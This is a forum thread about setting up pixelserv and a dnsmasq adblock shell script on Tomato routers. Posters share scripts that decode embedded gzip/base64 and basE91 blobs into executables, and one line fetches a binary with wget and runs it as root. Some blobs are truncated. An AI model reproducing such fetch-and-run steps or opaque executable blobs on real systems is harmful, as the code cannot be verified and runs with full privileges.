@Toink: the name "pixelserv" is case sensitive, you wrote Pixelserv, lowercase the p. @damwill: I don't know, I don't use that. Do you have a jffs partition formated? You can try to copy pixelserv on it with winscp (you have to enable ssh server for that).
Thank you srouquette! I don't know why I posted it as a capital "P". It was infact a lowercase "p" in my setup... Anyways, I re-checked. No caps. Rebooted.. Still no go
Try to run it with putty and see what it says. Go to the directory where it's stored and type this: ./pixelserv 192.168.1.2
certainly, you can report this in the other thread. http://www.linksysinfo.org/forums/showthread.php?t=62758&page=8
Code: root@Linksys:/tmp/mnt/KINGSTON# /pixelserv 192.168.1.2 - sh: /pixelserv: not found I rechecked and made sure the pixelserv file is the USB drive. It's there but the same result.
I'm getting the following error when running ./pixelserv 192.168.1.6 Nov 2 22:03:47 RT-E0CB4EC0128A daemon.info pixerlserv[802]: ./pixelserv V17 compiled: Nov 2 2010 21:06:33 from pixelserv17.c Nov 2 22:03:47 RT-E0CB4EC0128A daemon.err pixerlserv[804]: Abort: Cannot assign requested address
I'm just wondering what you mean by this, so I should set the IP for pixelserv to something not in the /etc/hosts file in order to get the fastest 404 error?
if adblock script is run without enabling its pixelserv option (USEPIXELSERV="Y") it will use the IP 0.0.0.0 for blocked hosts. This is the fastest way to block those servers but AD images will get replaced with a not found icon in some web-browsers.
@damwill: are you sure your IP isn't already used by something? Take a look at the device list. In putty, type: ps aux | grep pixelserv If pixelserv is already started, you'll see it. There's currently a pb with v17 (it doesn't show a pixel all the time), try to use v18 instead.
Is PXL_ADR=192.168.1.6 the IP address of the router with the web gui running on port 80? Or if you are not using the adblock script, does the router have the secondary IP address - created by the "ifconfig br0:0 ..." command?
I updated the pixelserv preload script. Change PXL="/tmp/pixelserv" to match the path used in adblock script Edit to use updateto="N" if you wish to use it in firewall script (needs manual router reset) Code: # pixelserv v18 by mstombs: http://goo.gl/sNG0q # base64 decoder by Danny Chouinard: http://goo.gl/RmdpY PXL="/tmp/pixelserv" updateto="Y" #do not alter the contents below dec="openssl enc -base64 -d" ver="pixelserv18" [[ "$updateto" == "Y" ]] && [[ -f $PXL ]] && ! cat $PXL| grep "$ver" && rm -f $PXL b64(){ awk 'BEGIN{b64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" while(getline<"/dev/stdin"){for(i=1;i<=length($0);i++){c=index(b64,substr($0,i,1)) if(c--){for(b=0;b<6;b++){o=o*2+int(c/32);c=(c*2)%64;if(++obc==8){if(o)printf"%c",o else system("echo -en \"\\0\"");obc=o=0}}}}}}';} if [[ ! -x $PXL ]] ; then [[ "$(echo WQ==|$dec)" != "Y" ]] && dec="b64" cat <<'ENDF' | $dec |gzip -d > $PXL H4sICPQL0UwCAHBpeGVsc2VydgDtWktsG0UY/tex0zRNwS2hcWmAMbh1Cq3rQJFCAGnTpm0CAQKU l3g4jr1xDI5teTfQokoYKFChQINUIRBIWDQFJJAcHgcOIHIAVHFCogdOyAgQDxWpIB4FIcw3s7P1 dMmmzRV1ks8z/8z3P+axs+NdP7xtaLumaeQkH7UQl0aW6bQZ+d6LiAJEKDNqpi7qoFXIIQvoAnNE gM3zA03ArwK6QDsRYLdJT8UWFFo0XSBEJOBXOSLpAl3nEWDbp6BsZ2RLwBF8HAOaZY2PN2scusAt aOBYIu1vymVHN+XSGye3opCKmYVYnJDeJleKlynIfa3FRxtya4lOy5GXO3RhpwbbPKajAV343tCk UyvyJ8FfJoNbhb4yFM+VNptEj4TdIkAB5D479iIR9JHzOFcg34B8JfIO5OcgP4sWn9byuGT5bClz +0uB9bLeD5wvY4sCPNag8GmnSwDuezXQCkSAi4ELZDuT+XKAlPlbKfM2Ob8rgDXAMlo4XQT4gE6l bhXQIdfRhUp98zz6LTI/D7gUCHj4Cct8ncy7aHHpXs1Zg/hArzZp9pohMXY/11shC4qUe+Sa5GkF ZEPhByHfDvkY1pgtt9AazkfR5reJBXOEGvw48qHlNn8l+FlXex9k3dGH/Ci3r7TvcfF/JPCXOfZk 7Moch4G40j4BMEW+CQgqsgWQIq8R144jL6VrOB//fhHfM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Dao/ZD 5n0KD78fALAgz27wgjLfofCwbgCiO+axd70yzjXwauANQHDbu1XympxqRvj/L+8uhcdQzZj05fKb VngR8CIevLzC6wKvC7yWeXiTCi8OXtyDt0fh9YDX4+H3kQYvqHOAd0Dtr+Q+AbRI3hEOOSju+Z1q 8KgGXo3hY57xe1bqOAk8UeGO7zk3LzyfX9kHF29mHt6/P+0wfRwmAAA= ENDF chmod +x $PXL [[ -x $PXL ]] && logger "$PXL executable created" fi
Adblock 3.8b I added nephelim's optim with nc: http://www.linksysinfo.org/forums/showpost.php?p=369416&postcount=253 Code: ## ALL-U-NEED AdBlocking By YAQUI 5/1/09 ## updated by ~nephelim~, Syl, jochen, groosh, ng12345, ray123, mstombs ## base64 decoder by Danny Chouinard's ## Dnsmasq Ed. v3.8b sleep 10 ## Auto Update? AUPD="Y" ADB="/tmp/ADBLOCK.sh" { cat <<'ENDF' >$ADB #!/bin/sh ## EDITABLE VARIABLES OPTIMISE="N" USEHOSTS="N" USEWHITELIST="Y" # N/Y/R for remote WURL="http://example.com/whitelist.txt" WHITE="intel.com" BLACK="" USEPIXELSERV="N" PXL_ADR=192.168.1.2 PXL_URL="http://example.com/pixelserv" PXL_EXE="/tmp/pixelserv" GETS="1 2 3 4" TRIM_BEGIN=3 S1="http://pgl.yoyo.org/as/serverlist.php?hostformat=nohtml" #44K S2="http://mirror1.malwaredomains.com/files/justdomains" #189K S3="http://www.malwaredomainlist.com/hostslist/hosts.txt" #97K S4="http://www.mvps.org/winhelp2002/hosts.txt" #620K S5="http://hosts-file.net/hphosts-partial.asp" #283K S6="http://hostsfile.mine.nu/Hosts" #2641K S7="http://support.it-mate.co.uk/downloads/hosts.txt" #3851K ENDF } AUP() { if [[ "$AUPD" == "Y" ]] ; then if [[ "$(cru l | grep AdUpd | cut -d '#' -f2)" != "AdUpd" ]] ; then ## cru (a)dd <name> "min hr day mo wkday <cmd>" ## min=0-59 hour=0-23 day=1-31 month=1-12 sun=0 *=all cru a AdUpd "0 4 * * * $ADB" fi fi } #### DO NOT EDIT BELOW #### b64="openssl enc -base64 -d" [[ "$(echo WQ==|$b64)" != "Y" ]] && b64="b64" b64(){ awk 'BEGIN{b64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"} {for(i=1;i<=length($0);i++){c=index(b64,substr($0,i,1));if(c--) for(b=0;b<6;b++){o=o*2+int(c/32);c=(c*2)%64;if(++obc==8){if(o) {printf"%c",o}else{system("echo -en \"\\0\"")}obc=o=0}}}}';} { cat <<'ENDF'| $b64 |gunzip >>$ADB H4sIAKtm0UwCA6VXe1PaWBT/P5/ieM0KuE1CrHa70LjjA4QpggN07Y5oJ00ucKch SZMgutLvvuc+AhG160wFh5t7z/v+ziNH/bOBo29r3faFQ6qm+BDtrNF1iJXNYmtC Q6INzy/UY0ZnMdFOet2m2vCicEy0Vm8wHKidaZRmKdEum+1OQ20tpiyjRMM/Noar K9CPUCtsOVCF62tYLvke0ctxCkuYJDQGg0LJMLjsUr5VCqOvkX9fqhBwHCAEOeuQ TWmoJTMwxqCjzebMPyg+Bm6aaWPGFV987pQr8KAMIPqnQeOi/bnRGTT6f0uJ/3CR oGRKsi0w7kBH1i+Nz43C6WJCMzB66yOx+NTvaN50Fvnw+5qLq2dj7gmbwNekWqvK o6PT/sqWcsz8aAwxu6NBSpPbgotK44YmZK5DGlAMi40UQsVrRWlBNJnQBI5Ojzu9 k4/Q6Pd7/Rp4bhhGGaSZm2Rrdo3/aPTWDYBwhOTaCXcLvz94aE86fRHadeDzJeIm X3LI5GsBDcnbPRGs2zDNsrhmWYvFwgxY+C29T1k4jswomVjjKJnPUiudRosYsWXG 0/iv2Hn77s99+90O3/GieZg5ewdveRi2ILuPKYQex5V6QFik89nzAaghqaUI5qF7 67LA/RrQN+BHizCIXJ+FExCYxjgHNDVNU0ZF+9Q9bTSdqob2AQMWcteHgzoyggzZ PAkcMtIHOiOgXdiOXqbeNAId95eQUh9K6fKGO36VXu+i81c31vXuqGyZu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sGFV31eE4m4VNRfF5xDX9xOa po61Y0nBS3l16wJz0jx7pTMgCrZFM8/yw3Tmpt9NPlELBIvBkh/nD/DhQ6PX1FB/ aIgrcdavJRo/Eda+LLBoY+/icQ3E5/Z5e9B4zsTXuCEnaXTcEaaS4nwtdlG5mK1X DjXPlD/+1IsNd55No4RlbsZuuQ/elBop+5c6e9X99xxBhpveh55zIBxdRfq481G1 +OSWYWdQPuO0H8WvsjtnkO9kBh+EpQfSgWePi3FsiqYvYlR4yWsAUZykuCdf9MhK +WZi5NpYCsk8DLE6/axqIgj5Ow2vYflVYxVTy5WB+F7DeyO+j+CAwhu46H88X3ll FL8i+wRqOSxEUNEvwaX9B1MzLV9GDwAA ENDF } chmod 775 $ADB $ADB AUP gzipped block: Code: #!/bin/sh { cat <<'ENDF'|gzip|openssl enc -base64 ARGS=$# NIP="0.0.0.0" GEN="/tmp/gen" TMP="/tmp/temp" CONF="/tmp/conf" HOSTS="/tmp/hosts" WFILE="/tmp/white" if [[ $ARGS != 0 ]] || [[ "$(ps | grep -e '--conf' | grep 'nobody')" == "" ]]; then rm -f $GEN.md5 rm -f $GEN.last fi PXL() { if [[ "$USEPIXELSERV" == "Y" ]] ; then if [[ ! -x $PXL_EXE ]] ; then wget -O $PXL_EXE $PXL_URL chmod +x $PXL_EXE fi ifconfig br0:0 $PXL_ADR if [[ "$(pidof pixelserv)" == "" ]] ; then $PXL_EXE $PXL_ADR; sleep 1 ; fi if [[ "$(pidof pixelserv)" == "" ]] ; then logger ADBLOCK ERROR: cannot start pixelserv else eval "NIP=$PXL_ADR" fi fi } CLR() { rm -f $GEN rm -f $TMP rm -f $CONF rm -f $WFILE } NC() { # http://www.linksysinfo.org/forums/showpost.php?p=369416&postcount=253 if ! type nc || ! type md5sum ; then logger ADBLOCK: nc/md5sum unavailable, downloading hosts files... else UNDEF=0 for i in $GETS; do eval url="\$S$i" P1=$(echo $url| sed 's|^http[s]*://[^/]*\(/.*\)$|\1|') H1=$(echo $url| sed 's|^http[s]*://\([^/]*\)/.*$|\1|') for x in 1 2 3; do time=$(echo -e "HEAD $P1 HTTP/1.1\r\nHost: $H1\r\nConnection: close\r\n"| nc -w 5 $H1 80|grep -i Last-Modified:|tr -d "\r") if [ "$time" != "" ]; then break; fi done if [ "$time" == "" ]; then UNDEF=1; fi echo $time>>$GEN.new done if [ $UNDEF -eq 1 ]; then rm -f $GEN.last; fi if [ -f $GEN.last ]; then MD1=$(md5sum $GEN.last|cut -d " " -f1) MD2=$(md5sum $GEN.new|cut -d " " -f1) if [ "$MD1" == "$MD2" ]; then logger ADBLOCK: no changes since last time, exiting. rm -f $GEN.new exit fi fi mv -f $GEN.new $GEN.last fi #nc/md5 } TRIM() { sed -ie ' s/\#.*$// s/^127\.0\.0\.1[ \t]*// s/[ \t]*$// s/^::1[ \t]*// s/localhost$// /^$/d' $TMP } DS() { for i in $GETS; do eval url="\$S$i" if wget $url -O - | tr -d "\r" > $TMP ; then if [[ $i -ge $TRIM_BEGIN ]] ; then TRIM ; fi cat $TMP >> $GEN logger ADBLOCK: $url else logger ADBLOCK ERROR: cannot get $url fi done } TST(){ MD5=$(md5sum $GEN|cut -d " " -f1) if [[ -f $GEN.md5 ]] && [[ $MD5 == $(cat $GEN.md5) ]]; then logger ADBLOCK: no changes since last time, exiting. CLR; exit else echo $MD5>$GEN.md5 fi } LWHT() { if [[ "$USEWHITELIST" == "Y" ]] ; then for site in $WHITE do sed -i "/$(echo $site|sed 's/\./\\./g')/d" $GEN done elif [[ "$USEWHITELIST" == "R" ]] ; then if wget $WURL -O - | tr -d "\r" > $WFILE ; then logger ADBLOCK: whitelist $WURL sed -i -e '/\#.*$/ s/\#.*$//' -e '/^$/d' $WFILE for site in $(cat $WFILE) do sed -i "/$(echo $site|sed 's/\./\\./g')/d" $GEN done else logger ADBLOCK ERROR: cannot get whitelist $WURL fi fi echo "$BLACK" |sed 's/[ \t]*/\n/g'|sed '/^$/d' >> $GEN } CLN() { logger ADBLOCK: sorting hosts... if [[ "$USEHOSTS" == "Y" ]] ; then sort -u -o $TMP $GEN else awk -F '.' 'BEGIN{ORS=""}{for(i=NF;i>0;i--)print $i"#";print "\n"}' $GEN|sort| awk -F '#' 'BEGIN{ORS="";d = "%"}{if(index($0,d)!=1){d=$0;print $--NF; for(i=--NF;i>0;i--)print "."$i;print "\n"}}' > $TMP fi logger ADBLOCK: hosts sorted. mv -f $TMP $GEN } CNT() { TOT=$(wc -l < $GEN) logger ADBLOCK: $TOT entries } FDNSM() { if [[ "$USEHOSTS" == "Y" ]] ; then cp -f $GEN $HOSTS chmod 644 $HOSTS sed -i -e 's|^|'$NIP' |' $HOSTS sed -i -e '1i127.0.0.1 localhost' $HOSTS else sed -i 's|^.*$|address=/&/'$NIP'|' $GEN fi } LCFG() { if [[ "$USEHOSTS" == "Y" ]] ; then cat /etc/dnsmasq.conf >> $CONF cat >> $CONF <<EOF addn-hosts=/tmp/hosts EOF else cat /etc/dnsmasq.conf >> $GEN fi } OPT() { if [[ "$OPTIMISE" == "Y" ]] ; then if [[ "$USEHOSTS" == "Y" ]] ; then eval "CFG=$CONF" else eval "CFG=$GEN" fi cat >> $CFG <<EOF dhcp-authoritative cache-size=2048 log-async=5 EOF fi } LBLK() { service dnsmasq stop if [[ "$USEHOSTS" == "Y" ]] ; then dnsmasq --conf-file=$CONF else dnsmasq --conf-file=$GEN fi } FS() { if ps | grep -E "dnsmasq" | grep -E "nobody" ; then logger ADBLOCK: dnsmasq is running else logger ADBLOCK ERROR: restarting dnsmasq... dnsmasq fi } PXL CLR NC DS TST LWHT CNT CLN CNT FDNSM LCFG OPT LBLK FS CLR ENDF } We'll soon reach once again the 4k limit ^^; I had to remove the code indentation because putty doesn't like when I copy/paste it, don't know why... edit (a): sorry, another quick update. Moved outside of TST the test to check if dnsmasq is running without a params, to force the update. edit (b): updated b64().
Well, that means pixelserv isn't running. ps show the running processes, and grep matches only the lines with the word you give to it. so when you type "ps | grep pixelserv", it means "show me the processes with the word pixelserv", and the result it returns to you was only the command grep. If pixelserv was running, you should have seen something like that: ./pixelserv 192.168.1.2 or /tmp/pixelserv 192.168.1.2 did you try what mstombs told you? http://www.linksysinfo.org/forums/showpost.php?p=369562&postcount=311
ifconfig br0:0 ... used and worked. I tried 192.186.1.666 first but gave me an error so went with 192.168.1.86 and it's running. 1834 root 608 S pixelserv 192.168.1.86 Thank you!
You can't use number-of-teh-beast to setup Tomato! THat's unholy!!! JK, JK... It failed because no part of IP number X.X.X.X can go above 255 (range is 0-255)
Thanks QSxx, now they just have to be 86'd. I couldn't get pixelserv to run using an autorun file in jffs so I added the following lines to the Firewall script: ifconfig br0:0 192.168.1.86 /jffs/pixelserv 192.168.1.86 and bingo...loads at boot, no error from Adblock, and it is serving blank images.
I modified b64 to not use getline to save some more space. Code: b64()[B]{[/B] awk 'BEGIN{b64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"} {for(i=1;i<=length($0);i++){c=index(b64,substr($0,i,1));if(c--) for(b=0;b<6;b++){o=o*2+int(c/32);c=(c*2)%64;if(++obc==8){if(o) {printf"%c",o}else{system("echo -en \"\\0\"")}obc=o=0}}}}'[B];}[/B]
It always bugs me that the uuencoded gzip version so small compared with the binary which never changes much with code tweaks - its mainly library calls - would you like a tomatousb version with no count or log messages to push this to the limit?
Please do. It might worth testing along with an upx compressed version. I'm currently looking also into BasE91 decoding which has a larger decoder (+165 bytes) but can possibly produce a smaller encoded text. Although since the decode function is larger there is only a 128 byte benefit. :frown: and since tomato gzip has a better compression than 7zip's gz it is also a pain to build since BasE91 encode is not available on the router (I have to grab a base64 output from the router convert back to binary and encode in b91) :frown: EDIT: strange the encoded test is fine if I post using the advanced message editing but is crippled if i post using quick reply Code: # pixelserv v18 by mstombs: http://goo.gl/sNG0q # decoder adapted from Joachim Henke basE91: http://base91.sourceforge.net/ PXL="/tmp/pixelserv" updateto="Y" #do not alter the contents below ver="pixelserv18" [[ "$updateto" == "Y" ]] && [[ -f $PXL ]] && ! cat $PXL| grep "$ver" && rm -f $PXL b91(){ awk 'BEGIN{b="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!#$%&()*+,./:;<=>?@[]^_`{|}~\"" for(i=0;i<91;++i){d[substr(b,i+1,1)]=i}b=n=0;v=-1}{for(i=1;i<=length($0);++i){c=d[substr($0,i,1)];if(v<0){v=c} else{v+=c*91;b+=v*2^n;n+=v%8192>88?13:14;do{b-=c=b%256;if(c){printf"%c",c}else{system("echo -en \"\\0\"")}; b/=256;n-=8;}while(n>7)v=-1}}}END{if(v+1){c=b+v*2^n;if(c){printf"%c",c}else{system("echo -en \"\\0\"")}}}';} if [[ ! -x $PXL ]] ; then { cat <<'ENDF' | b91 |gzip -d > $PXL af)A:Cpw*zKCr9QTdb&%nV0p<ySH=Cm6?Px6`>O2|TnLgbKN(Mfz2AJg#;nmF+O~A+g~:}DBqNM. w,X/px(zxN!E)#dX>/)+>%c+kua@s%9kVe_?"|:zlm?<3i,[]mx2B;fUC|6</qN4e|rwr@N|!=)` sr{.b+EVlWQ)jK>M;"p@aS=CSY!Xss!qX=+>+0,Cm/9[>oBTja9/ysm+Nh:V.R/.<,8(<Qd@lxVF )oZqA%zjwx(kZHRzR)cqZ=;>Rd$YB|.B<1PLR[W1>J&$8J,o$15+{?6SI5{y/}Y!F0U*`s{z;aAq o!+.{C}F6h)*h"7|w(VH6K9N`<+}2J.:eHd#m,FV4R"6U@"/{p;D^y@3su;Ph``FQ9f,;G,9~dj> w.,E2&+_je}!?!DR@3$#`[UNi%Jf$Cc9;0W*#J$@ktZq,pXhJ/u,#G@9[@t@|6>@_nS[^@d@WsVq Nq{R3{@iU{!DUW),C3|g2Q(.Z2S(q[G=W+T<{(Y"YTe1:E[*@gc]9p<oq}R$R7~ia/F2PYrE~Zd( }80QU%N&"{Q/T~A6%rj|pe{m<,MBEm,Q.m&dFQrnx=WDEm%Qge;>@xf(puv$$Lw6YvMzI<_m!}DJ 31mv>_Ohx!%v2mRk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k>937;KFI&`[03@&sCRW{JhSR$?}~PH?AV{Uk!IJ <#xq]}>x4sq&L"p!LLuSq"s%$tzYMQ"84Ijq=)m_ks:rnAU%Z|Nw)U9ujP*_x?3Td_(TrJiec9uQ AY+&k"s%ZCho;!H,?az3{)9iN&~Bn?7zB>e8$`"FJSm_%93n<hN&RGYIv?5kI%5&TVR]JPhz}^yW .s/$Exen/(tT.^E1&x_vN.,wNO*_pzOrX!u[[:|%vLswKR7>Dk43]#7e%1{tZ6/(}~EcliY+#GAA A ENDF } chmod +x $PXL [[ -x $PXL ]] && logger "$PXL executable created" fi
OK here's a special tiny 'quiet' build of pixelserv only for TeddyBear builds - uses a library missing on stock Tomato. UPX refuses to compress further, but zip can get it down to 2kB so... If it doesn't work use a V18 version that might give a clue!
Thanks. It works and the gzip/b64 encoded result is 1K smaller :smile: I was not able to use zip format though, unzip is not available on build 52.:frown: basE91 encoded is around 100 bytes smaller than base64. Are Vicktek builds supported as well? Code: OSB=$(nvram get os_version) if echo $OSB|grep '^1\.[0-9][0-9]\.85\|86\|87\|90[0-9][0-9][ \t]*.*$'; then if echo $OSB|grep '^1\.[0-9][0-9]\.85\|86[0-9][0-9][ \t]*.*$'; then logger tiny pixelserv support for Viktek build unconfimed. fi else logger tiny pixelserv is unsupported on Stock Tomato...Aborting exit fi overwrite="N" # if "Y" the script remove pixelserv executable every time #do not alter the contents below [[ "$overwrite" == "Y" ]] && [[ -f $PXL ]] && rm -f $PXL # pixelserv tiny V18 for TeddyBear builds by mstombs: http://bit.ly/a11SKr # decoder adapted from Danny Chouinard's base64: http://goo.gl/RmdpY PXL="/tmp/pixelserv" if [[ ! -x $PXL ]] ; then cat <<'ENDF' |openssl enc -base64 -d |gzip -d > $PXL H4sIAJPt0UwCAJVYScwMQRR+3WbsS9u3QWMYsYyxJbZE2/ddYglpszSGMTOZblsIY3cQQyJEQuxL RIztIEI4iLMDNwcSwsGBg1gixveqi25tf3/e/+qr99WrV696uqt7y/hpExRFoW+iUn1ipN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CuHUAtwrglgHcPICbBXDTAG4SwI2AKSBi/7f+/Xn7uew9R4t43k7/8uvn6NAE /SCJOP95nZPmzZvVf0B8gD4wkdBnTm3ScGwhj+OU08/ZULSG69nVyeVW/+XZZU0ajhYHpX6lZH65 ZQ/XUxscy/boOSu/3FkxXB88SPTlLXHEGq6LI1WThk0aTpw8YeiwJB83ysRvh/xs/xhS3HsWhD2k quMUGkFSahC/ZWkn3x8Cgpjcb5An3rvFQ9h70CtQfj84ASveA2DL3IYuhc6CGtAEVIdqUCGwOHeL s/ZTqDhTs8rz8hWokLi9AsdYJ5mieBZlKRUpntmQT67Opim+ImmvENDesFpYMCm+PL8mvtYq2ajV D8CETxy24+KcGJ8+edbcuO2sSdkUF8fveKkgzotxa4V7sqZ42imU4M64ZmUaIVxKKZfBKb2ICQoI ZbudKRuk1RkrtWZ5PJnKDhpI/yyN5ElSpW/fVGA9t/eOCa3r8uS3Ee+7DEvI904dljx8s4ASDVbY L3lSu8m5VfdbBpRoqeqOVSRHg/aG1pE8fPuAut88gvlhyeI7BfPwjQJKNI28eVWpo6BfJK8IXhE8 nfzzujJD4rruexqUzzZSfLx5Ho/ft6FEJ8IeT5N2kcfjawxKNEv5Od4yj8fXNxS8X8yb8+3bLPBm gXeTfp7X8fHqawZUxgjE2yx5qLX8Ngb+L3g7fbxW4LX6DW+vjxcBL/KbeQ/4eDp4+m94h328KHjR 3/BOeDwtAV4CvD2BujD3rI93E7ybv4l3iesm570H3m3w9F/U+SrH896/meeJ55NzSpG8u7/gfQVs +LAkPBUAAA== ENDF chmod +x $PXL [[ -x $PXL ]] && logger "$PXL executable created" fi
I mentioned earlier that 7zip's gzip had worse compression than Tomato's gzip. I stand corrected. Such size difference was caused by CRLF formatting. I grabbed few utilities and created a batch file to generate encoded text on windows Code: ; Convert ascii file (drag &drop) to LF format and gzip/bas64 encode ; ;Copy the following executables in the same folder of the batch file ;7z.exe from http://www.7-zip.org/ ;base64.exe from http://www.f2ko.de/programs.php?lang=en&pid=b64 ;fromdos.exe from http://tofrodos.sourceforge.net/ @echo off cd %~dp1 type %1|fromdos|7z a dummy -tgzip -mx=9 -mpass=20 -mfb=258 -si -so|base64 e > ascii.txt Code: ; Convert binary file (drag &drop) to LF format and gzip/bas64 encode ; ;Copy the following executables in the same folder of the batch file ;7z.exe from http://www.7-zip.org/ ;base64.exe from http://www.f2ko.de/programs.php?lang=en&pid=b64 ;fromdos.exe from http://tofrodos.sourceforge.net/ @echo off cd %~dp1 7z a dummy -tgzip -mx=9 -mpass=20 -mfb=258 -si -so <%1|base64 e > binary.txt
TINY pixelserv should work on recent Victek builds that are based on the git toolchain. The version I had loaded, probably extras, did have unzip - but gz is same size - 2447 bytes using gzip on router. Strikes me that Tomato's nvram setfile2nvram command should use a variation of gzip and uuencode - it currently just escapes any binary data greatly expanding the space required - but are you aware it can also do base64 encoding for you? Code: nvram setfb64 pixgz pixelserv.gz will store the gz in nvram Code: nvram getfb64 pixgz pixelserv.gz to recover Not too sure what versions this is available in, but its used in core rc functions.
Getting it to Work Hey there, I have attempted to get this working on my router (WRT54G v3 running Tomato 1.28) but have failed. There's something I'm missing but I'm not too sure what it is. Could someone please help me out? What I've done: Downloaded PixelServer and put it on the shared folder of a computer that is mounted in CIFS1 one the Router Copied Adblock 3.8 and pasted it into the Wan Up Script. Set the path in Adblock to /cifs1/pixelserv18/pixelserv (correct location). Set Use PixelServer to "YES" All that happens is that I cannot access my router GUI and websites take forever to load. When I SSH into the router and run top I see that awk is using 93% processing power. Do you guys have any tips or a better guide to follow to get it working? Thanks so much! Jonno
USEPIXELSERV="Y" And the script takes a certain amount of time to clean the list depending on the router. On my router (WRT54GL @250MHz), it takes between 4 and 6min.
Did Victek git based build began with 1.28.8xxx? So they got similar performance size-wise. It is a pity though that other compression binaries (lzma bz2) are stripped from many tomato versions :frown: So base64 code is there,after all. It is a pity that was not shared with a plain enc/dec utility I was blind to such options until you pointed them out. build 52 got them as well. :redface: Thanks. This will allow to free the firewall script and will be easy to setup for routers which support tools\system web-shell. If I'm not mistaken nothing will be written to the flash memory until a nvram commit command is issued. Is this correct? if so it would be possible to use them also for plain encoding hopefully providing a way to get rid of the 280+bytes awk based decoder if support confirmed on stock tomato. to encode Code: nvram setfb64 b64 filetobeencoded nvram getfile b64 encodedfile nvram unset b64 to decode Code: nvram setfile b64 filetobedecoded nvram getfb64 b64 decodedfile nvram unset b64 EDIT; set/getfile cause the file to be mangled and thus cannot be combined with set/getfb64. Code: test="/tmp/b64tst" echo -n Y >$test nvram setfile b64 $test nvram getfile b64 $test.get ls $test.get nvram unset b64 rm -f $test.get rm -f $test #these below don't work echo -n WQ== > $test nvram setfile b64 $test nvram get b64 nvram getfb64 b64 $test.dec [[ "$(cat $test.dec)" == "Y" ]] && echo getfb64 supported || echo setfile unsupported nvram unset b64 echo -n Y> $test nvram setfb64 b64 $test nvram get b64 nvram getfile b64 $test.enc [[ "$(cat $test.enc)" == "WQ==" ]] && echo setfb64 supported || echo setfb64 unsupported nvram unset b64 rm -f $testfile rm -f $testfile.dec rm -f $testfile.enc Using plain set/get in combination with set/getfb64 appear to be fine though ATM I don't know if they are suited for the task (eg truncation limitations, necessary escaping).
I appreciate confirmation that without a nvram commit nothing is written to flash memory Nvram based decode function works fine on build 52. It unset the b64 nvram variable after use and force a nvram commit after that if a b64 was permanently stored in nvram. In theory this would happen if an unrelated nvram commit is carried by chance while b64 variable is set. It might be needed to confirm getfb64 support on the different tomato builds. Code: dec(){ n="nvram";t="/tmp/b64";[[ "$($n get b64)" != "" ]]&&NCL=1; $n set b64="$1";$n getfb64 b64 $t;$n unset b64; [[ "$NCL" == "1" ]]&&$n commit;gunzip -c $t;rm -f $t;} [B]dec[/B] [COLOR="Red"][B]"[/B][/COLOR]H4sIAKtm0UwCA6VXe1PaWBT/P5/ieM0KuE1CrHa70LjjA4QpggN07Y5oJ00ucKch SZMgutLvvuc+AhG160wFh5t7z/v+ziNH/bOBo29r3faFQ6qm+BDtrNF1iJXNYmtC Q6INzy/UY0ZnMdF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cCik Pq7YOgNjQvEAvfpy3DhrdwtFlG/Kcum5mWQ+PJQFazP8XKVM85+Wy9w6LYevDOlg WK48IC4OHuNiExPK5kLz4sbu7AhHkJvDRC8LW9V5RXS9X0AM1uq6eFKVXaQRqjpc tc+8qncuW8PNjnnZag8bnfZg+EzH5BeaYpsXdyoIMSIKVECsvIhxkqUsYtbItEb4 PylVLJ/IexBBpMHLOvvFrrhGyCU23+chIprNS6VfDCYBS5WE3Fw+fqgcgFUylOS2 wrPsYY+cljclDiq/4PtrMLdpt0x6oYXox52jk48Eck0qM0chKpN7yocc+6qJd8Vt b0YojZJs1QF57ytcjZj6noEC5wFjDkYkk0xoEY65i29gNKFklqAksvOh18e5kfx4 wEiWmdNt1tlhtc4MoxInLET3GNkmdbkm2Hx+lGQmcRXLlbjtDXF1H9Cm31AsG5dZ 6NO7sl5941e2HLvy4Dt6VUnUDQM1alK3WD/WTkyis6J2VC+rDg/3ZqjkkMAto76Z V+CV/zLKXZlTw94QS8MC+2gAH8R55WkJQiKgYZYwmkru5ml3cL6Zky9dghfnhQX7 NKdRs+m7/f18o4B2nCiWJR1HPJy3S8+c2wz7gHg7sGFV31eE4m4VNRfF5xDX9xOa po61Y0nBS3l16wJz0jx7pTMgCrZFM8/yw3Tmpt9NPlELBIvBkh/nD/DhQ6PX1FB/ aIgrcdavJRo/Eda+LLBoY+/icQ3E5/Z5e9B4zsTXuCEnaXTcEaaS4nwtdlG5mK1X DjXPlD/+1IsNd55No4RlbsZuuQ/elBop+5c6e9X99xxBhpveh55zIBxdRfq481G1 +OSWYWdQPuO0H8WvsjtnkO9kBh+EpQfSgWePi3FsiqYvYlR4yWsAUZykuCdf9MhK +WZi5NpYCsk8DLE6/axqIgj5Ow2vYflVYxVTy5WB+F7DeyO+j+CAwhu46H88X3ll FL8i+wRqOSxEUNEvwaX9B1MzLV9GDwAA[COLOR="Red"][B]" [/B][/COLOR][B]>> $ADB[/B]
No data is written to flash unless there is an nvram commit, but other things can cause an nvram commit (web config changes, wan ip etc). Even if an nvram commit occurs, not a big issue because the nature of flash writes is that the whole of the nvram flash block (64kB) is written, empty or not. BUT I don't see you need to do this - can't you run a once off script on the router to gzip and store the files B64 with encoding, then the adblock init/firewall/wanup script just has to give the extract and de-gzip commands?
I will experiment with the approach you mentioned for the pixelserv preload script. (I embedded an encoded wanup adblock script part in the above post.) It should be possible to set a nvram variable to a base64 encoded pixelserv string and carry a md5sum of the variable content each time the script is fired. (I Hope that md5sum is supported on all builds since Tomato was ever created) When setup part of the script contains a new md5sum, the setup part will update the encoded variable and nvram commit the changes. The rest of the script will contain an housekeeping portion to carry getfb64/gunzip This way there is no need to use a separate setup script, the setup part of the script can be left there or removed as each user see fit and the encoded variable can be transparently updated with new revisions. Those who got a web shell (IIRC unavailable on stock tomato) can (copy&paste&)run the setup and the housekeeping parts separately/differently. edit: Code: [COLOR="Blue"]# pixelserv tiny V19 for TeddyBear builds by mstombs: http://bit.ly/a11SKr #To set pixelserv path change the PXL variable at the bottom of this script e="echo";[ $0 == "-sh" ]||eval $(grep -ow "PXL=[^[]*$" $0);setup(){ ENC="H4sIAGBJ00wCAJVYScwMQRR+3WbsS9u3QWMYsYyxJbZE2/ddYglpszSGMTOZblsIY3cQQyJEQuxL 